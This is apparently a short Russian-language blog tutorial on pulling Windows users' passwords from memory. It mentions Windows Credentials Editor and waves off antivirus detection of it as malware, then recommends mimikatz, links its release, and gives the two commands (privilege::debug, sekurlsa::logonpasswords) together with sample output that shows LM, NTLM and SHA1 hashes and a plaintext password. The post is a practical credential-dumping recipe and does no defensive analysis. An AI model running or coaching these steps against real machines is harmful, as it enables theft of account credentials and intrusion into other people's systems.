Как извлечь пароли пользователей Windows из памяти

[bga68comp]

Идея описана в статье: Идея: Извлечь пароли пользователей Windows из памяти

Программы для решения задачи:

Утилита Windows Credentials Editor – одно из наиболее известных и универсальных решений.
Но по мне ... недостаточно универсальное. И даже сложное. Конечно, антивирусы от Microsoft распознают WCE как вредоносную программу, да только кто ж их слушает...

О самой программе и ее возможностях можно узнать по ссылке:
Windows Credentials Editor (WCE) F.A.Q.

Мне, все-таки, больше понравилась другая программа, как по скорости, так и по функционалу - ввел две команды и готово:

mimikatz - как сказали авторы обзора - "совершенно убойная наработка" французских исследователей, описанная в вышеуказанной статье, вынесенной в заголовок.
Всецело согласен. Убойная.

Mimikatz

Итак. Стартовая страница программы - Blog de Gentil Kiwi

Нас интересует исполняемый файл:
◾ binaires : https://github.com/gentilkiwi/mimikatz/releases/latest

После распаковки архива, который существует в двух вариантах - для x86 и x64 Windows - запускаем командную строку от имени администратора.

Синтаксис:

mimikatz # privilege::debug
Privilege '20' OK
 
mimikatz # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 515764 (00000000:0007deb4)
Session           : Interactive from 2
User Name         : Gentil Kiwi
Domain            : vm-w7-ult-x
SID               : S-1-5-21-1982681256-1210654043-1600862990-1000
        msv :
         [00000003] Primary
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : Gentil Kiwi
         * Domain   : vm-w7-ult-x
         * Password : waza1234/

Вот и все: Password действительно проверялся и в домене и в рабочей группе. Совпадает.

Перейти к Оглавлению